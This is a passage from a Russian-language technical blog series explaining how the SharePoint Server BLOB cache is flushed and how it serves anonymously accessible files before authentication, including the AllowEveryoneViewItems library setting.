Другой способ удаление закэшированных файлов это сброс кэша. Когда кэш сбрасывается, создается новая папка, но старый кэш остается. Это позволяет завершить существующие запросы к старому кэшу. Старый кэш удаляется позже через определенное время. (конфигурируемый интервал) Кэш может быть сброшен по нескольким причинам: если при запуске индекс не смогу произвести корректную десериализацию, изменилась пользовательская политика для веб-приложения, не может быть прочитана контентная база данных. Так же кэш может быть очищен вручную при вызове из PowerShell функции Microsoft.SharePoint.Publishing.PublishingCache.FlushBlobCache().

Аутентификация и BLOB кэш.

BLOB кэш оптимизирован для анонимного возврата файлов. Когда запрашивается файл доступный анонимно, BLOB кэш возвращает его еще до попыток аутентификации.

Преимущества от подобного принципа работы можно получить в двух случаях.

1. К сайту разрешен анонимный доступ

2. Часто запрашиваемые файлы хранятся в библиотеках, у которых включен параметр AllowEveryoneViewItems.

При создании портала на основе шаблона Publishing Portal создается две библиотеки с установленным параметром AllowEveryoneViewItems. Это библиотеки “Images” и “Site Collection Images”. В любом случае даже если не используется анонимный доступ BLOB кэш будет работать, но WFE серверу придется обращаться на SQL сервер для проверки пользовательских разрешений. (ACL)

Продолжение следует….

MCT/MVP Илья Рудь

Основан на документе “SharePoint Server Caches Overview ”




Top